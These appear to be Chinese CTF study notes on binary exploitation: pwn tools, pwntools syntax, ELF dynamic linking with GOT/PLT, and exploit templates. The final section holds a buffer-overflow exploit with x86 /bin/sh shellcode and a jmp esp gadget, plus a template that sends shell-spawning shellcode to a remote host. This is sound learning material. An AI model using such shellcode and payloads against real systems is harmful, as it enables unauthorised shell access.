pwn基础笔记
pwn基础笔记
Linux下的pwn常用到的工具有:
- gdb:Linux调试中必要用到的
- gdb-peda:gdb方便调试的工具,类似的工具有gef,gdbinit,这些工具的安装可以参考:http://blog.csdn.net/gatieme/article/details/63254211
- pwntools:写exp和poc的利器
- checksec:可以很方便的知道elf程序的安全性和程序的运行平台
- objdump和readelf:可以很快的知道elf程序中的关键信息
- ida pro :强大的反编译工具
- ROPgadget:强大的rop利用工具
- one_gadget:可以快速的寻找libc中的调用exec(‘bin/sh’)的位置
- libc-database: 可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本
pwntools简单语法
作为最好用的pwn工具,简单记一下用法:
-
连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口
-
数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制
-
IO模块:这个比较容易跟zio搞混,记住zio是read、write,pwn是recv、send
send(data): 发送数据
sendline(data) : 发送一行数据,相当于在末尾加\n
recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时
recvuntil(delims, drop=False) : 接收到delims的pattern
(以下可以看作until的特例)
recvline(keepends=True) : 接收到\n,keepends指定保留\n
recvall() : 接收到EOF
recvrepeat(timeout=default) : 接收到EOF或timeout
interactive() : 与shell交互
- ELF模块:获取基地址、获取函数地址(基于符号)、获取函数got地址、获取函数plt地址
e = ELF('/bin/cat')
print hex(e.address) # 文件装载的基地址
0x400000
print hex(e.symbols['write']) # 函数地址
0x401680
print hex(e.got['write']) # GOT表的地址
0x60b070
print hex(e.plt['write']) # PLT的地址
0x401680
- 解题常用:
context.arch = 'amd64' //设置架构
context.log_level = 'debug' //显示log详细信息
libc = ELF('./libc-2.24.so') //加载库文件
Pwn基础知识
ELF可重定位目标文件的节:
.bss(Block Strorage Start) 储存未初始化的全局和c变量,和被初始化为0的全局和静态变量
动态链接共享库
共享库是致力于解决静态库缺陷(定期维护和更新,重新链接)的一个产物,共享库也被称为共享目标(Shared Object),Linux中常用.so后缀来表示
动态链接过程如下:
位置无关代码(PIC)
共享库的一个主要目的是允许多个正在运行的进程共享内存中相同的库代码,节约内存资源。若是事先分配专用的地址空间片,要求加载器总是在这个地址加载,这样虽然简单,但对地址空间的使用效率不高,即使不用也要分配。除此之外难以管理,必须保证没有片会重叠,并且当库修改了之后必须确认已分配的片还适合它的大小,而修改之后更加难以管理,为了避免这些问题,现代操作系统引入了位置无关代码PIC(Position-Independent Code),使得可以把它们加载到内存的任何位置而无需链接器修改。
- PIC数据引用
无论在内存的何处加载一个目标模块(包括共享目标模块),数据段与代码段的距离总保持不变,因此,代码段中任何指令和数据段中任何变量之间的距离都是一个运行时常量,与代码段和数据段的绝对内存位置无关。
编译器利用这个事实生成对全局变量PIC的引用,它在数据段开始的地方创建了一个表,叫做全局偏移量表(Global Offset Table,GOT)。在GOT中,每个被当前目标模块引用的全局数据(过程或全局变量)都有一个8字节条目(编译器还会为GOT表中每个条目生成一个重定位记录),加载时动态链接器重定位GOT中每个条目,使得它们包含目标的正确绝对地址。引用全局目标的目标模块都有自己的GOT
libvector.so共享模块的GOT,实现addcnt在内存中+1
IMG_19184E04E007-1.jpeg
- PIC函数调用(重点)
在ELF文件的动态连接机制中,每一个外部定义的符号在全局偏移表 (Global Offset Table,GOT)中有相应的条目,如果符号是函数则在过程连接表(Procedure Linkage Table,PLT)中也有相应的条目,且一个PLT条目对应一个GOT条目,原理如下:
假设程序调用一个由共享库定义的函数。编译器没有办法预测这个函数的运行时地址,因为定义它的共享模块在运行时可以加载到任意位置。正常的方法是为该引用生成一条重定位记录,然后动态链接器在程序加载的时候再解析它。不过,因为它需要链接器修改调用模块的代码段,GUN使用延迟绑定(lazy binding)将过程地址的绑定推迟到第一次调用该过程时。
使用延迟绑定的动机是对于一个像libc.so这样的共享库输出的成百上千个函数中,一个典型的应用程序只会使用其中很少的一部分,把函数地址的解析推迟到它实际被调用的地方,能避免动态链接器在加载时进行成百上千个其实并不需要的重定位。第一次调用过程的运行时开销很大,但是其后的每次调用都只会花费一条指令和一个间接的内存引用。
延迟绑定是通过两个数据结构【GOT和过程链接表(Procedure Linkage Table,PLT)】之间的交互实现,如果一个目标模块调用定义在共享库的任何函数,那么它就有GOT和PLT,GOT是数据段的一部分,PLT是代码段的一部分
如图, PLT是一个数组,其中每个条目是16字节代码。PLT[0]是个特殊条目,它跳转到动态链接器中。每个被可执行程序调用的库函数都有它自己的PLT条目。每个条目都负责调用一个具体的函数。PLT[1]调用系统启动函数(__libc_start_main),它初始化执行环境,调用main 函数并处理其返回值。从PLT[2]开始的条目调用用户代码调用的函数,PLT[2]调用addvec,PLT[3]调用printf。
全局偏移量表(GOT)是一个数组,其中每个条目是8字节地址。和PLT联合使用时,GOT[O]和GOT[1]包含动态链接器在解析函数地址时会使用的信息。GOT[2]是动态链接器在ld-linux.so模块中的人口点。其余的每个条目对应于一个被调用的函数,其地址需要在运行时被解析。每个条目都有一个相匹配的PLT条目。例如,GOT[4]和PLT[2]对应于addvec。初始时,每个GOT条目都指向对应PLT条目的第二条指令。
图中步骤:
第1步:不直接调用addvec,程序调用进入PLT[2],这是addvec的PLT条目。
第2步:第一条PLT指令通过GOT[4]进行间接跳转。因为每个GOT条目初始时都指向它对应的PLT条目的第二条指令,这个间接跳转只是简单地把控制传送回PLT[2]中的下一条指令。
第3步:在把addvec 的ID(0x1)压人栈中之后,PLT[2]跳转到PLT[0]。
第4步:PLT[0]通过GOT[1]间接地把动态链接器的一个参数压人栈中,然后通过GOT[2]间接跳转进动态链接器中。动态链接器使用两个栈条目来确定addvec的运行时位置,用这个地址重写GOT[4],再把控制传递给addvec。
图7-19b是后续再调用addvec时的控制流:
第1步:和前面一样,控制传递到PLT[2]。
第2步:不过这次通过GOT[4]的间接跳转会将控制直接转移到addvec
pwn 脚本模板
大致框架
官网的一个简单样例
from pwn import *
context(arch = 'i386', os = 'linux') #64位系统的为x86-64
r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()
自己测试的
from pwn import *
sh = process(argv=['./boverflow'])
context(arch = 'i386', os = 'linux')
context.terminal = ['tmux', 'split', '-h']#调试
r = remote('127.0.0.1', 9999)
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (0x20 - len(shellcode_x86)) * 'b'+ 'bbbb' + p32(jmp_esp) + sub_esp_jmp
#print payload
r.sendline(payload)
r.interactive()
基本上仿造这个格式就可以写exp了。
from pwn import *
用来导入pwntools模块
context(arch = 'i386', os = 'linux')
设置目标机的信息
r = remote('exploitme.example.com', 31337)
用来建立一个远程连接,url或者ip作为地址,然后指明端口
这里也可以仅仅使用本地文件,调试时方便:
r = process("./boverflow")
boverflow即为文件名,这使得改变远程和本地十分方便.
asm(shellcraft.sh())
asm()函数接收一个字符串作为参数,得到汇编码的机器代码。 比如
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'12
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
其中的子模块声明架构,比如shellcraft.arm 是ARM架构的,shellcraft.amd64是AMD64架构,shellcraft.i386是Intel 80386架构的,以及有一个shellcraft.common是所有架构通用的。
而这里的shellcraft.sh()则是执行/bin/sh的shellcode了
r.send()将shellcode发送到远程连接
最后,
r.interactive()
将控制权交给用户,这样就可以使用打开的shell了
Context设置
context
是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。
一般来说我们设置context只需要简单的一句话:
context(os='linux', arch='amd64', log_level='debug')
这句话的意思是:
- os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
- arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
- log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。